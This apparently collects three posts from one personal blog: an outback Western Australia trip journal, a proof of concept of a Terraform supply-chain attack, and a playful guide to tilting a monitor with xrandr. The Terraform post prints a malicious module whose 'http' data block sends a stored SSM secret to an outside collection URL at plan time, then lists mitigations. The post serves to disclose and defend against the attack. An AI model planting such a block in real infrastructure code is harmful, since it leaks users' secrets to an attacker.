xssfox

I’ve decided to publish my journal on the CSR trip - a roughly 1,800km journey through outback Western Australia. There are no services (phone, fuel, towns) with the exception of Kunawarritiji roadhouse which provides a basic store, water and fuel. The route is almost entirely sandy dune crossings with some rocky sections. It’s deemed one of the toughest off-road trips one could adventure on.

Before we begin though I think it’s important to recongise that like most modern Australian history, it’s plagued with racist, violent and inhumane treatment of Australia’s land owners. Cannings treatment of the indigenous people is inexcusable and this trip is not about remembering Cannings legacy. Throughout my journals I’ll be referring to the CSR in acronyms only. Rusty (a traveler in our convoy) suggested it be renamed “Corrugated Stock Route”.

It’s also important to note that the places we visited to the best of our knowledge are accessible under our permits for the time, however certain sites open and close over time.

So if it’s not about remembering Canning, what is this trip about?

Completing the CSR for me serves several purposes. The most important being worry free. Once you enter the CSR you are completely offline. To an extent world events can’t even stop you. Even if they close the CSR while your on it, you likely wouldn’t know until you finished it. It’s also not a short trip - with 1,800 km to travel (though we did about 2,030km with the side trips we added) and only being able to do a ~100-200km a day it provides plenty of time to stop worrying about everything else in the world.

The next important thing is exploring Western Australia. I’ve spent probably the least amount of time in this state and the CSR seems like the best way to see some of the best that Western Australia has to offer.

Finally there’s a technical pursuit. Can our car, equipment, radios and even ourselves hold up to the challenging environment.

How do you even?

This post most certainly isn’t going act as a how-to, but I think it’s worth mention some of the technical requirements of this trip to give an idea of the scale and planning required.

Most of doing the CSR is about logistics. Driving the CSR is the easy part, the prep work for the CSR is the hard part. If your not prepared it’s easy to loose your car or even your life out there.

Fuel

The most important is probably fuel. Leading up to the trip we did many smaller trips with similar terrain as the CSR. This gave us a rough idea of fuel usage in sandy dune covered tracks. Naturally we added some buffer to this and came up with 138L on board tank + 7 jerry cans (140L). Think about where you’d store 7 jerry cans on your car. Now work out how much weight your car can carry (GVM).

Water

Water is also important! There are two problems with water - how much to store and how to use well water. The CSR has many restored wells that you can use along the trip. Most of these are fine to drink after boiling or you can use something like an MSR Guardian to filter the water. We decided to carry roughly 80L of water and rely of filtering some well water along the way.

Food

For the first few days you can eat your normal camping meals with perishables (bread, salad, eggs, veggies) but eventually you’ll run out or they’ll go bad. We have a Engel fridge/freezer, so we ended up freezing a lot of meat and cheese. A lot of produce can be found in cans - like peas/corns/carrots and potatos. The biggest problem though with food is storing it all. You need to keep a buffer of food if you get stuck. We ended up with about 4 weeks of food, and storing it all was challenging. One of our storage tubs ended up being filled mostly with corn chips. You also need to be able to cook it! That means bringing all your required cooking equipment, stove, gas bottle.

Rusty’s setup was very different from ours - 30 frozen meals, a freezer, and a microwave running off an inverter and battery system. Pretty jealous of this setup.

Communications

Number one requirement of this trip is packing a PLB. There is no cell service out here, if someone is in a life threatening emergency this is the best chance of survival.

For non emergencies though, sometimes it’s good to keep in touch with people to let them know your ok. We have APRS on HF radio to let people track where we are, and a scheduled HF contact. The scheduled HF contact serves to talk about the trip and less so about world events happening - so even though you have a way of talking to the rest of the world, it doesn’t shatter that disconnected feeling.

We also used WinLink for short messages to friends and family and send compressed pictures to Twitter for fun.

Rusty also has a Garmin InReach which allows for GPS tracking, short messages and weather updates (though I don’t trust the weather updates out here as BoM just has this listed as one big “Northern Interior” region which covers most of the state)

Waste disposal

Think about all the waste you create when you prepare a meal. Tins, glass bottles, wrappers. So many little things. There are no bins on the CSR. Nowhere to dump rubbish. Everything you take in you must take out. Some stuff you can burn - like paper boxes - but you end up having to carry a lot of rubbish. We have a canvas rubbish bag that fits over our spare tyre - even with this we are careful not to generate too much waste.

Camping meals

If we take what we learnt about above meals, water, and waste. Think about cooking some Rigatoni pasta. We have to store a large packet of pasta, taking up valuable space, to cook it we need a large amount of water, we need enough gas to boil the water and our pasta sauce likely comes in a glass jar.

While pasta makes for a great easy camping meal, it makes for a terrible CSR meal.

Getting there and back

Just travelling to the CSR from Melbourne is a journey in itself. We spent 3 days just to get to Wiluna, the start of the CSR, and we’ll have travelled even more getting back.

Should I read your journals?

Short answer. I don’t know. They are fairly brief descriptions of what I found interesting, how I felt and what we did that day. It doesn’t cover everything, and shouldn’t be treated as some sort of travel guide.

I’ll include a couple of photos that I took along the way with each post, so even if you don’t find the text that interesting, you might enjoy the photos.

The other day I was thinking about supply chain attacks and how that applies to infrastructure as code. I decided to build a little proof of concept of a possible attack and I’ll try to run you through it. First lets paint a picture.

Terraform is a tool used by many organisations to deploy out infrastructure. It allows operations engineers to describe infrastructure in a domain specific language. A lot of complex infrastructure is repeatable and often users will break these down into what Terraform calls “modules”. Often these modules are shared online through GitHub repos and the Terraform Registry.

There’s a wide variety of modules available from third parties to help accelerate building of infrastructure. This is all great.

Let’s have a look a module I built. It creates an AWS System Manager parameter and stores a password. This is often used for storing DB passwords and other secrets.

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
    }
    http = {}
  }
}

resource "aws_ssm_parameter" "param" {
  name  = var.parameter_name
  type  = "SecureString"
  value = random_password.password.result
}

resource "random_password" "password" {
  length           = 16
  special          = true
  override_special = "_%@"
}

Let’s quickly walk through it for those who haven’t looked at Terraform before. At the top we have some setup to include providers. The main one we care about for this module is AWS as we want to provision some AWS resources. We then have the resource block aws_ssm_parameter that provisions the SSM parameter which references the value from random_password. A user might use a module like this to ensure all their databases use a nice secure password thats stored in SSM.

To use this, a user might browse around the terraform registry looking for a module that does the task they want.

And here’s how the user would install the module in the code.

module "ssm-password" {
  source  = "TheSkorm/ssm-password/aws"
  version = "0.0.1"
  parameter_name = "test2"
}

Running terraform init and terraform apply will create the resources as expected and all is well in the world.

Now lets think about if an attacker gained access to this repo. The attacker could be the original owner, someone who gained access to GitHub usernames / passwords, someone who paid the author to take control or various other methods to gain commit access.

The attacker could add a data block to the module.

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
    }
    http = {}
  }
}

resource "aws_ssm_parameter" "param" {
  name  = var.parameter_name
  type  = "SecureString"
  value = random_password.password.result
}

resource "random_password" "password" {
  length           = 16
  special          = true
  override_special = "_%@"
}

## !!! Our evil way to leak data !!!
data "http" "leak" {
    url = "https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}"
}

Data blocks provide a way for Terraform to find values/data to be used in deploying out infrastructure. In this case we have defined a http data type and our URL will be composed of the secret value from the SSM parameter and its name.

Once added it can be commited, and even pushed as the same version number (Terraform uses Git tags to determine versions in the registry). Nothing will happen immediately though. Two things need to happen for the victim to be impacted.

The first is the victim will have to run terraform get -update or terraform init upgrade. These are not uncommon operations as keeping modules up to date is good practice and often required to obtain new features.

% terraform get -update
Downloading TheSkorm/ssm-password/aws 0.0.1 for ssm-password...
- ssm-password in .terraform/modules/ssm-password

The victim does get a chance to notice that something might be up here. But it’s very likely in a complex project this update message will be ignored - or lost in the noise.

The second action the victim needs to perform is a terraform plan or a terraform apply. Both are extremely common tasks. A terraform apply doesn’t actually need to be approved before the damage is done as the data "http" block happens at plan time - there is no approval required for this action.

In my testing the apply and plan didn’t show any changes! Not even the data block being added.

module.ssm-password.random_password.password: Refreshing state... [id=none]
module.ssm-password.aws_ssm_parameter.param: Refreshing state... [id=test3]

No changes. Your infrastructure matches the configuration.

Terraform has compared your real infrastructure against your configuration and
found no differences, so no changes are needed.

From this point it’s game over. The damage is done and if we check our attacker’s webserver logs we can see the HTTP request with the SSM parameter’s name and value.

Hopefully this demonstrates just one way that supply chain attacks can be possible within infrastructure.

Mitigations

The Terraform registry doesn’t seem to allow specifying a hash in the provider configuration however if you use Git rather than the Terraform registry you can provide a hash in the ref of the git url.

Limit the use of third party modules and if you do use them, use the “Verified” modules. These are the ones that have a little purple badge next to their module name.

If you do want to use a third party module that isn’t verified consider forking their repo into your own organisation git and using that copy directly. Be careful with this approach as modules sometimes include other modules.

It all started with this toot from Aurynn.

do I just need to put one screen in portrait mode?

In the past I had experimented with using portrait displays for reading and programming. The ability to display large amount of text is certainly appealing.

Boring

But is this the most optimal display for software development? Lets evaluate

Here you might think we might done. But there are soooooo many more angles we can try. This is a little tricky on macOS and Windows but on Linux we have all the freedom we need.

Odd but ok.

We have a little tool called xrandr (x resize and rotate). We can use it to rotate the screen around to any angle we want. In practice I couldn’t get this to work on my MacBook. My desktop on the otherhand it had no problems. So lets try a few out.

1° - notice the menu bar disappearing to the right

45° - I run out of space

One neat thing about 45° is that it gives us pretty close to the diagonal. But not on my ultra wide. Due to maths, the amount we’d need to rotate is based on the angle of a triangle which match the aspect ration of the screen we are using. This ends up being about 22° for a 21:9 ratio.

The perfect rotation

22° - Perfect

So this here I think is the best monitor orientation for software development. It provides the longest line lengths and no longer need to worry about that pesky 80 column limit.

How do I do this?

First off, I could only get this to work in xorg - no wayland support yet. xrandr --output HDMI-3 --transform lots of numbers here takes a transformation matrix thats used to position the screen. We can use that to rotate the display.

The basic syntax that we need for rotating and shifting is this

cos(x),-sin(x),shift_left,sin(x),cos(x),shift_up,0,0,1

Some examples

# these won't shift / center the display as I don't know the resolution

#-0.1
xrandr --output HDMI-3 --transform 0.999998476913288,0.00174532836589831,0,-0.00174532836589831,0.999998476913288,0,0,0,1
#1
xrandr --output HDMI-3 --transform 0.999847695156391,-0.0174524064372835,0,0.0174524064372835,0.999847695156391,0,0,0,1
#45
xrandr --output HDMI-3 --transform 0.707106781186548,-0.707106781186548,0,0.707106781186548,0.707106781186548,0,0,0,1
#22
xrandr --output HDMI-3 --transform 0.927183854566787,-0.374606593415912,0,0.374606593415912,0.927183854566787,0,0,0,1

Calculator

This little javascript calculator should generate the xrandr command for given inputs

Enjoy.